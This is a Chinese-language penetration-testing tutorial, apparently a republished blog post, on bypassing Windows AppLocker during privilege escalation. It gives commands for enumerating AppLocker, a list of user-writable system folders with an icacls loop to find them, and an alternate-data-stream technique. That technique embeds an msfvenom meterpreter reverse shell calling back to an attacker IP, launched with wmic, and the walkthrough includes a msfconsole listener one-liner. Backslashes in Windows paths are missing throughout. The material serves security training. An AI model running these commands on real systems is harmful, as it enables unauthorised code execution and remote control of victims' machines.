前言
在这篇文章中,我们将讨论 AppLocker 绕过的主题,这可以被视为 Windows 权限升级的一步,因为 AppLocker 会填充我们执行传输到受害者的任何文件的所有尝试。
当我们发现自己无法在受害者上执行任何工具时,我们会预感 AppLocker 已启用。从那里,我们将枚举并确认 AppLocker 确实已安装并按照默认规则运行。之后,我们将研究两种可用于绕过 AppLocker 限制的技术,以便我们可以在受害者身上使用我们的工具。
AppLocker 是一项功能(策略),用于对某些文件类型(应用程序)及其执行位置创建限制。例如,管理员可以使用 AppLocker 设置规则,仅允许用户执行 C:Program Files* 中的 EXE 文件。由于通配符 (*),这意味着 EXE 只能从 C:Program Files 及其任何子文件夹执行。 AppLocker 可以帮助您控制用户可以运行哪些应用程序和文件。其中包括可执行文件、脚本、Windows Installer 文件、动态链接库 (DLL)、打包应用程序和打包应用程序安装程序。
枚举AppLocker
在此示例中,我们在 Server 2019 计算机上获得了 shell 作为标准用户账单。
代码语言:javascript复制systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
在我们最初的枚举过程中,我们决定创建一个 C:temp 文件夹,以便在开始将一些工具传输到受害者时使用。从那里,我们在攻击者机器上设置了一个 HTTP 服务器,然后将 winPEAS 下载到受害者上。
如果您没有 winPEAS 的副本,可以在此处获取一份。
代码语言:javascript复制https://github.com/carlospolop/PEASS-ng
现在,受害者身上有 winPEAS,我们尝试执行它,但发现我们被组策略阻止了。
此消息暗示受害者上正在运行 AppLocker。我们可以使用以下 PowerShell 命令确认 AppLocker 是否正在运行:
代码语言:javascript复制Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
在这里我们可以看到 AppLocker 确实正在运行,并且已经在此主机上为可执行文件和脚本设置了默认规则。设置的默认规则仅允许从 C:Windows* 或 C:Program Files* 中执行可执行文件和脚本。这意味着我们只能从这些文件夹或其中的任何子文件夹(从通配符)执行脚本。唯一的问题是这些文件夹默认情况下通常具有严格的权限。
AppLocker 将可执行规则定义为与应用关联的任何具有 .exe 和 .com 扩展名的文件。 AppLocker 定义脚本规则仅包含以下文件格式:.ps1 ;.bat;.cmd; .vbs;.js
那么现在我们可以做什么呢?好吧,我们可以检查 C:Program Files 和 C:Windows 中所有文件夹的权限;然而,幸运的是,有人已经这样做了,并创建了标准用户可以在 C:Windows* 中写入的默认文件夹列表。
AppLocker绕过 – 默认可写文件夹
我们可以看到api0cradle在 C:Windows* 中找到的一些默认情况下标准用户可写入的文件夹列表:
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
代码语言:javascript复制C:WindowsTasks
C:WindowsTemp
C:windowstracing
C:WindowsRegistrationCRMLog
C:WindowsSystem32FxsTmp
C:WindowsSystem32comdmp
C:WindowsSystem32 MicrosoftCryptoRSAMachineKeys
C:WindowsSystem32spoolPRINTERS
C:WindowsSystem32spoolSERVERS
C:WindowsSystem32spooldriverscolor
C:WindowsSystem32TasksMicrosoft WindowsSyncCenter
C:WindowsSystem32Tasks_Migerated(执行 Windows 10 版本升级后)
C:WindowsSysWOW64FxsTmp
C:WindowsSysWOW64comdmp
C:WindowsSysWOW64TasksMicrosoft WindowsSyncCenter
C:WindowsSysWOW64TasksMicrosoftWindowsPLASystem
现在,作为攻击者,我们的任务是确认我们对每个文件夹的权限。我们可以对它们一一使用 icacl;但是,对于本示例,我们将创建一个文件,然后使用 for 循环对文件的每一行运行 icacls。
首先,我们需要在攻击者计算机上创建icacls.txt文件,方法是复制上面的默认可写文件夹列表,然后将它们粘贴到文本编辑器中,如下所示:
现在文件已准备就绪,我们可以像 winPEAS 一样将其下载到受害者上。
注:如果您仍处于 PowerShell 提示符中,请使用“exit”命令返回到 cmd.exe 提示符。必须使 for 循环命令起作用。
完美的!现在受害者上有 icacls.txt 文件,我们可以运行以下 for 循环命令:
代码语言:javascript复制for /F %A in (C:tempicacls.txt) do ( cmd.exe /c icacls "%~A" 2>nul | findstr /i "(F) (M) (W) (R,W) (RX,WD) :" | findstr /i ":\ everyone authenticated users todos %username%" && echo. )
此命令将使用 for 循环对 icacls.txt 文件的每一行运行 icacls。我们还过滤了结果,仅向我们显示我们拥有写入权限的文件夹。
将输出截断为仅前 10 个结果,我们可以看到其中 3 个结果具有写入权限!
现在,我们需要做的就是将我们尝试运行的可执行文件复制到我们已确认用户可以写入的标准的文件夹之一中。
代码语言:javascript复制copy C:tempwinPEASx64.exe C:WindowsTasks
然后我们就可以从C:WindowsTasks文件夹中执行winPEAS,绕过AppLocker的限制!
这是绕过AppLocker的最简单方法;但是,我们可能会发现管理员对 C:Windows* 中的默认可写文件夹进行了强化权限。如果是这种情况,我们需要一种替代方法来执行绕过。
AppLocker绕过 – 备用数据流
另一种可用于绕过 AppLocker 的技术是将可执行文件嵌入到另一个文件(备用数据流)中,然后从 ADS 执行 EXE(AppLocker 规则不会阻止可执行文件在 ADS 内执行)。
需要注意的是,当从 ADS 执行文件时,它会打开一个新窗口来运行程序。如果我们在反向 shell 中工作,这将是一个问题,因为我们将看不到 PEAS 的输出。
由于我们现在没有 GUI 访问权限,因此我们会将示例从 winPEAS 切换到 meterpreter shell 升级。
假设我们在 C:Windows* 中没有找到任何可写文件夹,我们的下一个选择是尝试在 C:Program Files 中找到可写文件夹或文件。
由于 C:Program Files 中没有任何可供标准用户写入的默认文件夹/文件,因此我们需要关注非默认文件夹。
当我们检查 C:Program Files 时,我们看到有一个名为“Program”的非默认文件夹,因此我们将从这里开始。
首先,我们需要检查该文件夹的权限。如果我们可以在这里编写,那么我们可以将可执行文件复制到该目录中并执行它们。
代码语言:javascript复制icacls "C:Program FilesProgram"
不幸的是,我们发现我们没有这个文件夹的写权限,我们将无法在此处复制可执行文件。
接下来,我们需要检查文件夹内部是否有任何我们可能具有写入权限的文件。
代码语言:javascript复制icacls "C:Program FilesProgram*"
通过在末尾添加通配符,我们能够检查对 Program 文件夹的所有文件/子文件夹的权限。幸运的是,我们对日志文件有写权限!
由于我们对 TXT 文件具有写入权限,因此我们可以创建备用数据流并将 meterpreter 有效负载嵌入到日志文件中,然后执行它。
首先,我们需要在攻击者机器上创建一个 meterpreter 有效负载,然后将其传输到受害者上。
代码语言:javascript复制msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o meterpreter64.exe
现在,meterpreter 负载已位于受害者上,我们可以使用以下命令将其作为 ADS 嵌入到日志文件中:
代码语言:javascript复制type C:tempmeterpreter64.exe > "C:Program FilesProgramlog.txt:meterpreter64.exe"
通过使用/R开关和dir命令,我们能够确认备用数据流已创建。现在我们需要在攻击者机器上启动一个多/处理程序侦听器,以便在执行时捕获 meterpreter shell。我们可以使用 1-liner 设置侦听器选项,然后立即启动侦听器,如下所示:
代码语言:javascript复制msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"
现在剩下的就是从 ADS 中执行 meterpreter 有效负载,如下所示:
代码语言:javascript复制wmic process call create '"C:Program FilesProgramlog.txt:meterpreter64.exe"'
在这里我们可以看到该命令有效并且创建了一个新进程。然后,回顾我们的监听器,我们得到了一个 meterpreter shell!
惊人的!我们找到了一种从位于我们没有写入权限的文件夹中的可写文件绕过 AppLocker 的方法。这是一个很酷的技巧,绝对可以派上用场。另外,应该提到的是,多个可执行文件可以嵌入到单个文件中。
最后的想法
在这两个示例中,我们找到了一种绕过 AppLocker 来运行可执行文件的方法。从这里,我们现在可以使用 winPEAS 的输出来找出权限提升路径,或者我们可以尝试从我们启动的 meterpreter 会话中测试漏洞利用。不管怎样,由于绕过了 AppLocker,我们离管理员或系统又近了一步。
有关绕过 AppLocker 的更多方法,请查看此处的 GitHub
代码语言:javascript复制https://github.com/api0cradle/UltimateAppLockerByPassList